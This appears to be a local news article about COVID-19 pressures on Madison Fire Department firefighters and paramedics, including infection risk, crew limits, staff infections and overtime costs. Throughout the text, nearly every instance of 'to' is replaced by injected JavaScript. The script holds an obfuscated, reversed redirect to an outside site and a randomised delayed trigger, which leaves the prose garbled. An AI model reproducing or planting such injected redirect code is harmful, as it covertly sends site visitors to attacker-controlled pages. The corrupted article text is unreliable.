Most of us can decide tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stay away from people who might be infected with COVID-19.

But firefighters, paramedics and emergency medical technicians don’t have that luxury.

Instead, they rush headfirst intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to emergencies and accidents where people need help. 

And that includes unknown situations where someone they’re helping just might have the coronavirus.

“Every call that we do have is not a COVID-positive person but we all have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to treat it like [it is],” says Jonathan Clinkscale, a Madison Fire Dept. firefighter at Fire Station #10 on the city’s northside.

Adds MFD Lt. Kevin Hembrook: “The added stress of a virus that can affect you and your family members, taking that home from work with you — it isn’t fun tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to think about.”

One of the changes that the Madison Fire Department has made because of the pandemic is tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to try and limit the number of personnel interacting with patients on the scene of an emergency or accident — but that’s not always possible.

“If it’s a cardiac arrest or something like that … you need all six people for what’s going on,” explains Hembrook.

For a number of reasons, it’s hard for firefighters, paramedics and EMTs tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to know how many of their patients have had the coronavirus.

“It’s tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tough tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say … it’s pushing 10 or 12 for sure that I’ve been in contact with that I know of … but a lot of the calls we don’t hear back from where the patients could be positive,” says MFD paramedic Grahm Yahn about how many COVID-positive cases he’s had.

Patients aside, 50 members the Madison Fire Department personnel have contracted COVID-19. That has led tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to some staffing challenges, as well as an increase in overtime.

“The overtime budget has definitely been drained quite a bit because when you are sick, you have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stay away from the stations, so, we are hiring overtime for firefighters and paramedics tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fill those spots,” says Hembrook.

Regardless of the numerous new challenges firefighters, paramedics and EMTs face during the coronavirus pandemic, they say nothing will stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top them from helping those who need it.

“You just wear your PPE, you go tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work and you get the job done,” adds Hembrook.

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